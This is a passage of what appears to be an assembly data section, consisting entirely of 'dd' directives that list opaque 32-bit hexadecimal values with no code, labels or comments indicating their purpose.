0BA314CF2h, 0CA6C26C9h, 0E469848h, 0E0E56020h, 63D1C4B7h dd 916081F6h, 0C496026Fh, 18CF6250h, 5C14959Fh, 27DC0E7h dd 4A62F829h, 44829102h, 7C46D948h, 9D88D20h, 0F8C26420h dd 0C9C8DC10h, 3A6079FBh, 1340D3h, 8B663086h, 67DD5C26h dd 6E24C480h, 0EB09D19Ah, 0EC034C90h, 58009871h, 0BA92DF2Dh dd 1EA71FAh, 22BD0A8h, 89AFE10Dh, 98AB1A88h, 81EF2AACh dd 88CC4E6Fh, 45BBC0F5h, 0CDA36E58h, 0D85D4CF8h, 0B7B18000h dd 9DF9A937h, 712F6FA7h, 5033491Dh, 0BEBCE400h, 1431D151h dd 0F716889Bh, 8906103h, 0EE444CDEh, 0B9D1h, 0B165D2A6h dd 0B901B80Dh, 992E3540h, 62C4CBC2h, 4428132Bh, 6EAC827Fh dd 917834ECh, 5825A726h, 520BD448h, 74FC48A3h, 78C782A4h dd 0F960F344h, 39F8E718h, 23D99312h, 0DE1674B2h, 2988D04Fh dd 31ECECDFh, 0CE8FA801h, 6DA63AA7h, 48D986F0h, 41218D2h dd 0A55C32AFh, 0CC530B20h, 0E4265850h, 6A92311h, 0F0A34C2Eh dd 594DF0F0h, 0BD2220A0h, 30F3753Fh, 1E4038ABh, 14819574h dd 6C6B5420h, 763A0F44h, 81D3EF6Ch, 0C290AAF2h, 0C74F5888h dd 29914E80h, 252C2398h, 0D872BA0Ch, 1F9C5620h, 0A7FD1425h dd 8110A466h, 62009AC6h, 417C2A2Dh, 5C3BBCD3h, 928E8124h dd 3356AECCh, 88AF6820h, 0A490A626h, 7BB9E700h, 40327778h dd 4C2D0BDBh, 1844EC3Fh, 1260BD44h, 21A60A3Ah, 0CA2A4B8h dd 0A859C298h, 94A5A74Ch, 2B34F4E6h, 0F77694FCh, 6D0132F0h dd 348F203Eh, 0A4418E21h, 0C4639E1Ah, 0B4908822h, 3D8D849h dd 0FD946A36h, 0D6301008h, 4AE2DF90h, 23442E61h, 0FF1DD1h dd 0C0E5F80Ch, 5C1347E4h, 1822A5A3h, 44B46C40h, 264EA765h dd 0E757DCD7h, 550198Ch, 0B5D33362h, 9672C01Fh, 1C09BE2Ch dd 7A68D8C1h, 0F2EB27F4h, 0DB98811h, 0F1ACC02Ch, 144DE28Ch dd 0A4B2DF8Fh, 8CA96FB2h, 807078DBh, 1C200E3Ah, 0B120D3D1h dd 2C263FF9h, 0BC8B550h, 0A1D4E08h, 4FD20810h, 3C3BA365h dd 8400CA23h, 0FD3D0356h, 0A6EA1DE5h, 59F066DFh, 104DE7Bh dd 3902CCC8h, 0E8047E5h, 0AFB90527h, 6CE675CBh, 0DBA51700h dd 2C91E23Bh, 48D56508h dd 0A0F00432h, 796432EFh, 18EEF1B0h, 27A72CBAh, 0F05340D8h dd 0EC2F76C8h, 0C2D820E5h, 0CE7478h, 6843E83Dh, 0FF072C3Bh dd 0F305F00h, 0D0CC198Eh, 6C6D11F4h, 3E6408B8h, 91D02AEFh dd 0C89CF844h, 84D37A84h, 0E4A18543h, 42EE08BDh, 2E5411B8h dd 0BC0D5983h, 0B715409Fh, 0F096257h, 16B33AA8h, 0AC4620A4h dd 0C0D22331h, 9C02BCDAh, 12932041h, 8068F4E6h, 0FF413D7Eh dd 690377AFh, 0E44A0AA2h, 27B0805Bh, 8CFB51BEh, 223A9831h dd 987ECBA0h, 0ED467Ch, 0B954785Ah, 0EC9CC44Eh, 45F90BAFh dd 2CC0746Eh, 67454C26h, 2F3B8AEDh, 19B2394h, 4158AF42h dd 3A1EE526h, 0C09E2C48h, 20C20830h, 688F1D43h, 0B3810820h dd 0F6024F91h, 0D8E99B9Ch, 12B058AFh, 0F4E04E09h, 9CF1AF4h dd 3C294123h, 5180266Eh, 7AAB5109h, 0BCA6C0CDh, 3E2DF300h dd 9580A51Bh, 18B0F6Eh, 1CA00C47h, 86CE575h, 3988949Eh dd 0BAA409Ah, 7C01C852h, 0D9413157h, 40608E06h, 6C1484ABh dd 1CA0BF3Eh, 81AD6DB8h, 0C664F2B4h, 5C26C035h, 275B03F0h dd 0CE952805h, 40C1EA70h, 7100453Eh, 0A0409834h, 0C8979DF8h dd 0A79FD391h, 6A005864h, 8A3F8886h, 12AA328h, 3AD6AD83h dd 45D75416h, 7D0C3AE8h, 0B2FD098Ch, 0C8E4422Dh, 52B7CE00h dd 916175BAh, 0C281001Fh, 6732A8F9h, 260F3322h, 2084CB1Eh dd 8F0530F7h, 239D0129h, 0A74632D7h, 0A2306345h, 0E6ED30F3h dd 129A23Ch, 2C7236CCh, 932FBB38h, 0E7B350F8h, 76031AE8h dd 292AF400h, 62235BB3h, 5EB8BEB9h, 491DCA46h, 3796014Dh dd 0D0CD5809h, 29057B46h, 0EB23E6A5h, 3E9BDC00h, 54035E30h dd 1D4190A4h, 404FE69Ch, 0ADF972E1h, 6A0338CBh, 0D199291Dh dd 0F729009Eh, 0FFC5F6ACh, 77383DC9h, 1F338045h, 0EB3FB3A7h dd 0C47C1C01h, 42E42699h, 48C06AD2h, 0C2009258h, 136D2957h dd 165E6F81h, 6024A985h, 8A9A4C14h, 967D7127h, 545D0784h dd 0D05E0B9Ah, 2EEA35B9h, 0E526213h, 4E18CF0h, 907D5423h dd 0C8808E9Bh, 92FEC0DCh, 0DE2C5663h, 2455042h, 7A8F9420h dd 0DA970023h, 28A5CA3Ch, 8A00341Eh, 0B3EB4A55h, 0FB6A64C0h dd 0F2BCD52Fh, 3096F2DCh, 0AB00BA86h, 0C1531C65h, 2734257Eh dd 84CD2Ch, 97A40C7h, 131A3245h, 54CFF499h, 2F4B6448h dd 0F623D0h, 0BE4096DDh, 981FA248h, 14C66C5Eh, 2578A8B8h dd 0C4CDCE03h, 0F882BAC0h, 187BE6h, 17C41D52h, 0AA2A60E0h dd 79DC9650h, 392B5900h, 3CC8A26Bh, 47C989Dh, 0DE5FBA9Fh dd 5234C0BEh, 0AC24E4A6h, 0A20A3023h, 9143EC59h, 5E3002C2h dd 0C5803472h, 0E28AB045h, 9244C8C6h, 0B6698065h, 0A253FD20h dd 9722C8h, 79082464h, 5AB739E2h, 41543C02h, 0F8DD7476h dd 0BB803098h, 4B05989h, 8D3CB700h, 0D1AF98FDh, 0DCA24C1Ch dd 449E9D22h, 563FCC40h, 34C16AFh, 840405B5h, 0F778B2CAh dd 492E0D8h, 0BC001453h, 7918DCCh, 5344FDAh, 0D34168D0h dd 1F48A858h, 79C67A66h, 89DD01h, 649FBFF6h, 62E11770h dd 6B167B16h, 40CEE4A0h, 1C48B4AFh, 3341C0ACh, 3B9EA9F2h dd 402CD123h, 5CB0E8C0h, 87009546h, 0B512635Fh, 0DC91D8F3h dd 0D618D1D1h, 8490B30h, 1CF7D8FAh, 0EFF04262h, 188581Dh dd 3F67AAh, 180D1235h, 0E43AF35Fh, 7500CB23h, 43467B29h dd 284D0272h, 842C4F76h, 933E5C60h, 0BCA8A1CFh, 0BB107585h dd 0E456A40Bh, 77F402ECh, 0A6E68EF2h, 40A04320h, 29D20062h dd 0CD258B17h, 0AA70DEBDh, 0AF44A2B5h, 1CF5E01Eh, 0D68B3C1Ah dd 399A9226h, 4F0D017Eh, 5CCE5391h, 6F606562h, 0DB243804h dd 90270C91h, 0B180B8E0h, 8BAE00E0h, 96A5DDC1h, 63812800h dd 0E0034772h, 48B902BBh, 0BFE6BC6Eh, 0D926C840h, 4CE33D2Dh dd 5815955Ch, 0A080ED91h, 42264E32h, 4CC02509h, 0A24C0272h dd 2C410F9Fh, 2BF0BE58h, 0E623C03Ah, 29F46C02h, 46684079h dd 0D4142526h, 0BE13FCE8h, 0AF252784h, 0F211341Fh, 5C15E780h dd 7F711ED7h, 641326ECh, 9491F956h, 226AE6B4h, 222430Ch dd 779448A7h, 86170097h, 0AE62F575h, 0C42FDB03h, 3AB0181Dh dd 259080ECh, 0BD622414h, 1104748Ch, 0C180AE85h, 8FD0D900h dd 8C03DCE9h, 71352A6h, 40D89024h, 81184E76h, 26A8F2DCh dd 183BF078h, 0F614019Fh, 20CCA555h, 2F5BFD61h, 56C40Bh dd 8E891024h, 14240B1Eh, 6C24D41Ch, 0CB5A43CDh, 0DEFAE96Dh dd 255FE8C0h, 6CE5F7B2h, 5067F3E4h, 0BA8161C9h, 84242F70h dd 46744449h, 14EB00F0h, 0DCF7D594h, 5054F446h, 4B07D8E4h dd 5274908Eh, 38999CF2h, 86A9EDF0h, 0A276B803h, 7A131046h dd 0B956F019h, 0F33D0BF0h, 8F00A464h, 548D8088h, 8A0DA7h dd 7F99DD37h, 0BBCA8CCh, 0A3FAAC01h, 2443DEE9h, 0B7235194h dd 0E0A7DD2Fh, 7064C8DAh, 0C8E8E649h, 0FB002A9Eh, 0BA637205h dd 17BD462h, 699412D8h, 3CAF6F6Eh, 0F5248020h, 0F37573h dd 2D5A6C32h, 8E5C615Bh, 2B4EBC1Fh, 56B3F401h, 406E41E2h dd 64F28918h, 9D9DEBB6h, 82D19130h, 0C0572BB3h, 12895D4Ch dd 41F664BEh, 0A31EC4DCh, 0C00902D9h, 80B9C208h, 785E2423h dd 3FF8BC01h, 13B5C1Eh, 0E26C26F8h, 23C00C9h, 0D140CBECh dd 2500347Ah, 2D2A4798h, 3F51231Ch, 0ED825AB8h, 0B321534Eh dd 907958F9h, 4E704D18h, 0B1B72716h, 47BE0C04h, 3C82B8F8h dd 0A47CFAD4h, 0CFCEF889h, 0A1C140CCh, 0C90056ADh, 46B66C3Dh dd 0BED21462h, 0E237B83Ch, 5CFA9031h, 0F011FD5h, 8744DE55h dd 203E26B1h, 302C40C8h, 0FA4F9710h, 0A01E4604h, 1094FDB5h dd 0C2FF55Fh, 0C79A2C27h, 188BC65Ch, 142F955Ah, 6E03F023h dd 0DC5A7F6Bh, 0A5105C91h, 7C25C600h, 2E09D89Eh, 0A264E191h dd 2984D1A4h, 8C0A4ACh, 0C001BD4Ah, 0B155A1DAh, 76D85EFEh dd 5803CA46h, 7FA47C61h, 0CF381FB0h, 0F11BE609h, 0E96870D8h dd 0DB4CA000h, 480460B6h, 0D082ADD3h, 0F09CD123h, 186AA01h dd 1FDB68B9h, 2125FE79h, 0A4173ABEh, 4848A0A2h, 1C8CF4E8h dd 7FA7334Ah, 8F0593h, 4C243AE0h, 562D71E8h, 10444D9h dd 0B543D370h, 0D0762C5Eh, 0A60BF7A7h, 0F906FFF4h, 189B712Ch dd 0F0391342h, 81DCE8F5h, 0EDF35420h, 163AD880h, 0AA906089h dd 0FB5EF89Eh, 3A07DD18h, 14722F0Fh, 25F85889h, 2C45EC8Eh dd 9160F0E4h, 815CE49Bh, 0E1CC8794h, 415019F0h, 15DF1F6Eh dd 305DCF6Dh, 10758D27h, 45FC24E0h, 0BF2675h, 2B5C56B8h dd 0FC6C483Ch, 0F4017A13h, 0C23B738Ch, 963A0370h, 0A857CDB7h dd 0EEA0FE8Ch, 5E121F32h, 580AC04Ah, 3045611Fh, 0FE14002h dd 6E9D3880h, 971B00E8h, 649F4F20h, 6A48A3D1h, 3DD70226h dd 0E20BE5C7h, 5AE4E24Fh, 0E8629F78h, 37BD807Ah, 193F0E14h dd 0F8D780A5h, 6DB8046Ch, 0D488C070h, 0CDEA80C9h, 13BC4780h dd 49B81423h, 0C41051D0h, 6C546DA0h, 53090B98h, 0D0A6AE05h dd 3EE34418h, 0D3493F09h, 6CAC04AFh, 800020FCh, 71E54237h dd 0BE59942Ch, 9BF01380h, 1222014h, 996F8EF1h, 176F601Ch dd 0F97C2004h, 130071A4h, 0F6CAC390h, 0B0A1CFh, 0FDE2214Eh dd 5F27523Eh, 226E8617h, 90F2FCF3h, 3E39C30h, 4A21C5B5h dd 8100DE81h, 644659BDh, 30848543h, 0EE0ACB1Dh, 917EB5E0h dd 6CC86B5Eh, 0FD8A3FA7h, 0FA97C000h, 281636DFh, 0EB1C7D00h dd 8D65BB0Ch, 0BD947046h, 0A5B6D4A0h, 1B00EA7Dh, 32D3DD5Dh dd 9342590h, 0A9B44679h dd 237090D3h, 900098C2h, 0BCE62048h, 240DCA3h, 6352A2FCh dd 9A058ECh, 0A49080DBh, 0E8D0E6C0h, 5751CFh, 7E179F3Fh dd 7AB67F96h, 273D4912h, 39C81C08h, 52C099E1h, 8B68758Eh dd 7886BEC0h, 764017ACh, 5654C0F0h, 34A1AC80h, 293F10EBh dd 0EF0400CBh, 38F064F9h, 0AB0DC7Ch, 5C44E507h, 56298E4Bh dd 43A34400h, 133C87D6h, 16F363F9h, 1D3C05F8h, 0CEE0CC70h dd 8490608Ah, 4C1C80C0h, 1363AD20h, 0B1180DCEh, 0CFB1C014h dd 645C6795h, 448064EDh, 980E2DEh, 0B64FDABBh, 0A29F7400h dd 0F0BA8E54h, 80993831h, 3B7BC0C7h, 1D72344h, 12B86863h dd 2E23C5C4h, 0FA520020h, 92F3E06Eh, 403C94E8h, 15C50432h dd 0BCD24F02h, 84C8CEBDh, 2D0BC1E4h, 0E4F16059h, 3B71A318h dd 1C921612h, 97EC30A8h, 1D2FA8Ch, 0EF9B0EE5h, 2A1DC666h dd 0DD12D85Ch, 0C210C8E2h, 14910495h, 26009BD4h, 0C47AFD4Eh dd 30611C00h, 6A9319CEh, 54B55D5Ah, 0AC9B4612h, 8CDCECD8h dd 5EC56000h, 0D639E0DFh, 8A80C58Ch, 23983AA2h, 11AA04E7h dd 9C04818Dh, 58C09FD8h, 6FB52A40h, 2FE839D0h, 906448DEh dd 0CAD81410h, 96F161Eh, 0B070301Ch, 1E326208h, 4891798h dd 5FAAAACh, 0E0AD58E6h, 1200A122h, 1123F0A9h, 4E46039h dd 75A632F7h, 527CF028h, 721C4704h, 4CBDF22Ch, 29D4D11h dd 3B5CD223h, 5A90503Eh, 9EAC40D1h, 0F4DF6C7Ah, 45EC3800h dd 566DBAD0h, 63D40009h, 3498AC2Fh, 7F1DDA1Bh, 0ED970DF4h dd 413A24E4h, 9F1ED1BBh, 5916D30Eh, 5A95C804h, 99242501h dd 34486479h, 2EF53Dh, 0D6B8E7A0h, 169E31Fh, 23E27220h dd 864C6044h, 0BD12651h, 1D4679D8h, 0AEBE3EF8h, 0E9A360CCh dd 61958D05h, 0C207CC50h, 8C59A073h, 960E4085h, 541CCC90h dd 9C3B2F7Bh, 82243007h, 38F25C4Fh, 0FB2DEA78h, 0C4066F9h dd 0E1383E40h, 4F3244F1h, 4346598Fh, 0BE180424h, 0B3A70999h dd 30E6A22Ch, 0C00011FFh, 46D63B90h, 0B7EEEC0Eh, 9FE36022h dd 3980E419h, 0F1D2E959h, 0A7E74264h, 0B8681920h, 9EED2420h dd 0BBF08B90h, 1C42105Eh, 31A01B0h, 0A3A03CCCh, 8B03A44Ch dd 0E4A47C14h, 50431678h, 0AD04682Ch, 5EC0206Dh, 58A3DDB7h dd 50163013h, 661C91C3h, 0C1BC0C67h, 1E4A60F1h, 25C69B5h dd 0ABEE281Ch, 80BCFE81h, 6ED2225Dh, 5C01187Bh, 0E9A1AFC8h dd 50D8B80Eh, 9C109573h, 0DC0953C9h, 845667C2h, 2341BA48h dd 83F23Ch, 5B023260h, 5828A4BDh, 2C0139EEh, 0CBB8F87h dd 9C2BC640h, 0A225AE70h, 416CA05Bh, 1CA5272Bh, 350B867h dd 0E820A826h, 9CC8D14Bh, 287DDDh, 8E1BF672h, 88A82E6h dd 9F4E3300h, 0FD626745h, 4C5975Ah, 4460F3E4h, 0D500D4E7h dd 1372260Eh, 956D0CCh, 0FA580BB6h, 328EAB01h, 0A7403486h dd 0DE302E50h, 24383416h, 0C48084E8h, 1F8ED80Fh, 0E71E97F3h dd 2E3B8F4h, 0E47AE2B2h, 8407DF0h, 0F47903EDh, 6B542609h dd 2FC4F2FAh, 84E3CBA0h, 0F02A4830h, 0CA5213Bh, 0AD4330F7h dd 0A444DE90h, 0F4B1093Ah, 38892C6Dh, 8DD16851h, 480EDB18h dd 4052378Fh, 0C08B9660h, 0C2E3265Ch, 0C0D95210h, 98189179h dd 55417700h, 3FF7F478h, 0DEEE122Ch, 82C0E844h, 76C4243Ch dd 464209F8h, 0FBA36420h, 309643DEh, 8F81480h, 90EB50E7h dd 37800980h, 0C56AC64h, 0F8025961h, 9051FC61h, 3B7AC990h dd 5F32368h, 0C198BB52h, 381403F5h, 0E4F489F0h, 0D09F4E10h dd 0E8C01E88h, 3C34D74Bh, 5200D0E9h, 0E8E73E27h, 13581E39h dd 29A00079h, 0C0C65383h, 2078C2E0h, 0F054434Ch, 37815F00h dd 97AAB799h, 0F16BD4C0h, 24089102h, 5BAF3814h, 16460560h dd 0C134A188h, 0E8F9A60Ch, 25978208h, 87297890h, 34262F09h dd 0E2E8233Ah, 2A3E251h, 45EE3D1h, 48424244h, 8060AED3h dd 280A9B5h, 0C829C0A0h, 2474E4EDh, 7C00967Eh, 823863DBh dd 26BAE323h, 1F508A6Ah, 0F8A5AF12h, 0E9BE164Ch, 60BC2DF0h dd 167729D8h, 0E323D170h, 3296E2D0h, 87DBFA80h, 610099FAh dd 520BB0CDh, 96575468h, 0BD25BBCCh, 8E1410A0h, 16133A30h dd 0C8A420C2h, 60E688E3h, 50A2F1D2h, 1230EEF2h, 0AC142D8Ch dd 9DF06CC8h, 85D180C8h, 21186E40h, 2AC844DCh, 4C6498h dd 43878EAFh, 5E46B776h, 263F8602h, 76FC25A6h, 58A20944h dd 6E100464h, 145CBDD0h, 802C9B97h, 7A2846F4h, 18A3E40Fh dd 41DC87E5h, 141E4315h, 65004C4Bh, 0EDF21E1Ah, 4E49718Ch dd 0EC24C598h, 20B8D288h, 8CF2ACh, 42C4537Fh, 4CB87B05h dd 0A8023F5Ah, 70481E40h, 0C90802D4h, 5C1423C4h, 0A809407Ch dd 0B0900206h, 311600A4h, 0EC09E5D8h, 5442D179h, 5427020Ch dd 6C44F777h, 5AFCAB40h, 23683BA8h, 756E03F2h, 23A8B2F4h dd 0D092B41Ch, 423AF700h, 0D11E4EA2h, 44D55CEFh, 0E41F6D27h dd 2F819411h, 393BDE66h, 46AA0514h, 9CB02A6Ch, 0C9149E90h dd 906490E5h, 1A5BFB60h, 9F1B0C01h, 922E5262h, 0D25E0C34h dd 0F23CE259h, 0C2AE3091h, 0F24F4E16h, 0A47F7C06h, 0D190B1B0h dd 262818D2h, 8987B09h, 6E1CF4B3h, 4DF78880h, 2535FB2Ch dd 0C42B1649h, 4812EC27h, 0D40C7104h, 19294CB0h, 0A92AA76Fh dd 9873A9h, 0B0BE1B25h, 1C9F456Ch, 413B2DB7h, 0F6754BDDh dd 0A9E44204h, 4BF85323h, 88E4CE26h, 456FC0F0h, 0DE258118h dd 0CFC7378h, 3891C580h, 92FF0100h, 4AB7DD5Ah, 5F2E03FEh dd 8191339Eh, 8362F7D8h, 29002A77h, 87EDB5A5h, 1240B9C0h dd 0BDE74876h, 0F95B1008h, 1817184Ch, 0C2E8A9EEh, 0E02DCD4Fh dd 95DA2440h, 0C313F8C6h, 0D0F0F00Ch, 809E1D31h, 0B4388136h dd 287A4C2Eh, 0E85BCA4Ch, 11F01D27h, 9789F3h, 8753C3FDh dd 2C721206h, 0D82880ACh, 0B9407A52h, 943B26D7h, 0D06DAFACh dd 34031C7h, 0BB91B61Fh, 189771A4h, 8C7B1363h, 2BFB0981h dd 0C601D8DCh, 0D9F11B9Ch, 0BCC01820h, 74A42CD4h, 0E5009646h dd 105C7499h, 0B9F69304h, 0CB5DA225h, 0DD710EE4h, 0FD16B509h dd 20AF1EA0h, 0DA150240h, 7ACCEC01h, 739101A4h, 0AC341BC4h dd 0DC226ADFh, 64A62156h, 101C7A32h, 9828A7CEh, 0FE125851h dd 0B5991290h, 0B2804B4h, 878018EBh, 0D2B9085Fh, 0C8A8D830h dd 0E69D1DA0h, 0B0AF4E26h, 82804F6h, 0C34DFA8Eh, 14EC58F0h dd 0A3A21250h, 94730829h, 96B03846h, 0AD02D1EAh, 641471CDh dd 5E2C89A6h, 30D96980h, 0B718EF59h, 46A59402h, 0C7B006E7h dd 60F6C490h, 2D8AE7Ah, 0C884E7A6h, 3CC076DBh, 2E80C5A8h dd 5C161348h, 3A6C88D8h, 21A741C5h, 0E6C500E8h, 470EF8Ch dd 270C991Ch, 445932A5h, 97B420Bh, 34D4B7h, 0C8A23340h dd 2CB5C291h, 956D1854h, 0B7AF048h, 40F65317h, 85C85008h dd 0A851B46Eh, 9737044Ch, 52723Fh, 0B2E14C28h, 522CCA09h dd 0CD8A3C16h, 3A08BC0Fh, 4F140199h, 3695A675h, 342F5A5Ch dd 0C803D123h, 0F975190Ah, 121A374h, 95803C7Ch, 6F67DAA2h dd 18BCE901h, 46065871h, 0A6D8D42Eh, 0BE7EF0B8h, 0A447003Dh dd 0F47BD218h, 4A2F6059h, 0B4DC60AAh, 0A931C731h, 0E882C4C2h dd 0B712DE4h, 0D02CFB5Ch, 6D01D327h, 32572D14h, 0F53178DFh dd 0ADE4482Bh, 0F4786CABh, 733E0975h, 98471AE6h, 0D760F4C4h dd 38E45CE3h, 0F0F22824h, 0A4EA08h, 460B8629h, 0C493AAFDh dd 98A2D10Ah, 35C0A80h, 8E8402h, 7654B725h, 0C689EDCDh dd 0A262C0B4h, 0A7AC7C5Bh dd 730B8871h, 3F6D0086h, 5B94853Ch, 6ACC20BAh, 1A000C47h dd 6E786CF4h, 4F9DBC97h, 5E9CE008h, 9450E197h, 0E00BB401h dd 5B5AAB17h, 7445F471h, 2E21BC08h, 3152C205h, 0E9D4E040h dd 605D740h, 642423CDh, 0CA2740BFh, 0FA481206h, 30414554h dd 9F44FFC8h, 0B441954Eh, 0B37DE2A2h, 72381B20h, 67D230F1h dd 0DE4ECE02h, 62BC085Ch, 0DF749C05h, 0C4D314B6h, 1E3861C4h dd 0A4223B9Bh, 1FA06889h, 98E49D1Ch, 0C772DB0Fh, 0A3372426h dd 7C01F0A5h, 0DFECD520h, 0DE9C272Bh, 6293FCD9h, 2382D8ECh dd 0E8E97444h, 0D9219651h, 0C58238C3h, 0E222202Ch, 583C88A1h dd 1AF0BC41h, 189D61FEh, 219BE98Bh, 0A2701814h, 700290A2h dd 8484759Ah, 0A49B856Dh, 0A8A8D184h, 14257208h, 7F0C62E8h dd 0FC25A091h, 0FC0086CFh, 8C70570Ch, 2CE0B542h, 9D684629h dd 6FAB49B3h, 0A80CFC07h, 0DC5F901h, 23ABFE4h, 0EE6B5428h dd 0B8896E03h, 0C0B9DB62h, 74239D9Eh, 0DA3DB7E1h, 5F8F8085h dd 4DCFCE29h, 602090F0h, 0BBDF2024h, 417BABBEh, 0BF832901h dd 9F1FF923h, 4A2AEFD0h, 3989030h, 0E80F86AEh, 8F2E68h dd 0C832F14Fh, 165013E2h, 4240E87h, 2FF024A0h, 0A0F8B791h dd 0A99F0916h, 0D4B824A9h, 430005EEh, 2BF6A21Eh, 0BFD66426h dd 1588D4AAh, 6205FC84h, 0F1464A3Ah, 0DC6E2B14h, 75552500h dd 80F023BDh, 0AFF52216h, 8EAE9CB8h, 0D79D20CCh, 0E895C6E9h dd 842C50B6h, 83A6239h, 45031198h, 7920188Fh, 935B086Ah dd 0CC1D3480h, 0F009E720h, 63668140h, 0BC3E20F4h, 0E9820819h dd 59888B68h, 0E40C2589h, 400C18D2h, 11C4B405h, 0FC062D2Fh dd 0E5830837h, 96164818h, 0C6206E08h, 84A2B18h, 18F32131h dd 0DC017499h, 3B12013Dh, 0F140888h, 8097608h, 5F0C1BC4h dd 639870E8h, 394208FEh, 0E5751811h, 0A331D420h, 1F2A08FDh dd 10DF2091h, 0B522EA2Bh, 8CDE131h, 9F03D5DAh, 4031988Eh dd 0D02910DEh, 98A8088Ch, 10633A18h, 183C2550h, 189B5C08h dd 8C4AA17h, 0A804F06Dh, 0E04A06F1h, 0F2332040h, 10DC4831h dd 6001BEE6h, 0DB48880Ah, 295418A5h, 0CD80CEC4h, 6920C622h dd 0C72010D8h, 0B091542Bh, 10156252h, 0F802977Ch, 41A20326h dd 990D0833h, 6361EE5Ch, 0F7D848E3h, 0CF071010h, 3188B32Ah dd 6218BF10h, 0C30895A6h, 6F271280h, 82C3448h, 130C499Fh dd 6355080Eh, 5CA730EDh, 0D3010818h, 811C1138h, 6B918C18h dd 407B0832h, 0C463273Ah, 10C78130h, 58EC0E08h, 48F9669Fh dd 81626608h, 5D5411F2h, 70638794h, 63F49410h, 408AD139h dd 0F5D61810h, 1004CA19h, 6C5024E6h, 0CCC7EF40h, 54D134C1h dd 81E5E1CCh, 28C962EDh, 0C1061DD2h, 983954B9h, 8E7635Ch dd 2818BBF8h, 608918Fh, 0EB28CA43h, 0C3D988ECh, 1823D30Ch dd 8B934026h, 1D40DF66h, 0C66F77D1h, 28242908h, 0AE993D66h dd 91E46649h, 8CE0095Ah, 4AF66781h, 0F038A234h, 42DD035Ah dd 5EC04010h, 3290512Ah, 6908CBA8h, 0A7969048h, 0E42594AAh dd 0F5C844D2h, 184B04C0h, 438E904h, 24091944h, 921CAC24h dd 7C493F30h, 5FFC52A1h, 0A14A8A2h, 2A311803h, 6290BB08h dd 306B6178h, 7C97ED04h, 7118EBF6h, 34F38112h, 36404F14h dd 4398A9F8h, 64597834h, 0D18D0879h, 1CC3310h, 6F001309h dd 814CED76h, 299480A4h, 584E0302h, 0C021CECh, 765BEA2Ah dd 8CD224C0h, 0DB74C60Fh, 162000E0h, 89CA219Bh, 5E496086h dd 19223Bh, 0FC04E0A3h, 0EFB57523h, 5FDAD3D0h, 1ED4F2FFh dd 0A70099BEh, 4DBF1E38h, 7EBA0FAh, 0E8000AFh, 4ED9A8EAh dd 0B90090E1h, 84C0C118h, 1EC6D195h, 0C09AC838h, 21AC9188h dd 300947A3h, 40C78057h, 3DC4E98h, 19382018h, 0AAD3F188h dd 83CC53E1h, 0FEE04EE9h, 0A8AC8833h, 6508F0A6h, 835711FFh dd 2802B9C5h, 4C45C746h, 0FF1CA0CAh, 208018EAh, 80E17EA8h dd 0A3BD2611h, 0B8D5E51Bh, 0B57403FEh, 0F5CD1C3h, 584CF000h dd 0C5A949DBh, 0FC29006Ch, 40D93FBh, 0C964580h, 3CED6716h dd 0B50F224Ch, 62C38EF4h, 0B380BECBh, 0A9039B49h, 78D208E0h dd 0B85801D6h, 0DED1A3CDh, 8010B933h, 6C7B66C0h, 9BE598h dd 29C777E8h, 10C3F9EBh, 4E1F6A00h, 69E4B001h, 7F280085h dd 93E84626h, 520CDAA6h, 88705480h, 0ADFE3C0Eh, 0F403162Fh dd 0E05A2990h, 60930E4h, 8805F7Eh, 9D042061h, 0E588B71h dd 7868F0A9h, 0BC560018h, 0F7B84DBEh, 0B5AD2302h, 51A4DF4Eh dd 681D8ED4h, 60580750h, 9103B0EEh, 254006B4h, 303964E6h dd 0BA3C821Ah, 2284E028h, 0A081B7A9h, 51CB16A0h, 2FB2E6A0h dd 0F7998000h, 0C3AF3480h, 0A4EA4898h, 10F1A6C7h, 50DCCE1Eh dd 21769C0Ch, 2A54B07h, 0C2792060h, 9D7CF472h, 782AB1CCh dd 90C5E8B6h, 70456270h, 7E00A89Eh, 2DC9620Bh, 0AC06FA82h dd 0D1182820h, 0ED41BB90h, 19B666A2h, 0C97C6052h, 1B102661h dd 107FD5FDh, 29148480h, 2485A4F0h, 7EB0272Ah, 38261413h dd 459D2387h, 80AC0648h, 8A75E11Fh, 268BB8A1h, 0D480162Ch dd 53684E0h, 93435E31h, 378A899h, 0F95856C1h, 0B7190230h dd 79E6B3A8h, 27332870h, 7C9950A5h, 6ADB2A08h, 0E1871FF8h dd 0D896419Fh, 6E32D201h, 2D375400h, 2ABF7B3h, 0B5B8FA58h dd 0DB81CCEEh, 8064A680h, 3BA78B88h, 6081E6A1h, 8A7150C4h dd 78A00D58h, 84A433B0h, 0B8FCC01Ch, 777E09h, 0BEB38E9Ch dd 0A5C8A9F2h, 40D9844Ch, 19D46D0Ah, 31BB054h, 8F4C06D5h dd 8462D45h, 0A068802Ah, 0A5040E03h, 9F2A1086h, 0C4EBEDB0h dd 0D2161660h, 28D0C043h, 7095F496h, 25E634F8h, 0E0C85C1h dd 0C5E95214h, 0AFC5828h, 964FD29h, 0F003A360h, 0C8249241h dd 0C93C3CC8h, 33025830h, 0E0BB29B9h, 0A318615Eh, 600AA2A3h dd 9478280h, 57678833h, 0EABC1084h, 9F4CEC46h, 10DC81D0h dd 0EE22900h, 0A7D08900h, 0E9D21C86h, 0A8983Fh, 9E95525Eh dd 6D31C071h, 0CA2CBB03h, 7B5DBFD1h, 4EB12420h, 64D9158Ch dd 189E5208h, 87FE1A38h, 0D1B6C0C0h, 2919C340h, 1A08694h dd 6954DF80h, 0C17EB4C4h, 0E50928A6h, 41B0CA2h, 6712B2C4h dd 63A80310h, 0E45A6005h, 2C82209Eh, 0C3E8841Bh, 41D66C9Ch dd 580051B0h, 82F4480Ah, 710EC430h, 1271A3DDh, 370F5888h dd 0BC288804h, 22CC6251h, 0C0544030h, 8B979B09h, 467C0295h dd 0EE990068h, 0C960B480h, 87D8C648h, 24009FDEh, 0CF67C8Eh dd 2C95F718h, 54D24B38h, 0F62EAC61h, 79D7DC3h, 0BC8CBFF3h dd 9638409Ch, 9E0017C0h, 0F415C9DCh, 1C2B535Fh, 96CBA6F5h dd 8654043Ah, 0F8EF4CAFh, 408C407Dh, 3110BF62h, 18180974h dd 949A30D1h, 0E1580B01h, 0A5F7B63Ch, 20F087E9h, 694B39Bh dd 381AA6E6h, 74E8C109h, 97C882CDh, 2AC48580h, 0A6FBBC81h dd 4E87D5D0h, 0F7D48058h, 94010B97h, 568116D9h, 34355380h dd 0EE6E830h, 505A271Bh, 4527F46Fh, 2B69AFD5h, 80FE68A0h dd 0C49B52A7h, 2840C420h, 0C864A09Eh, 8A2A806Dh, 53B99D01h dd 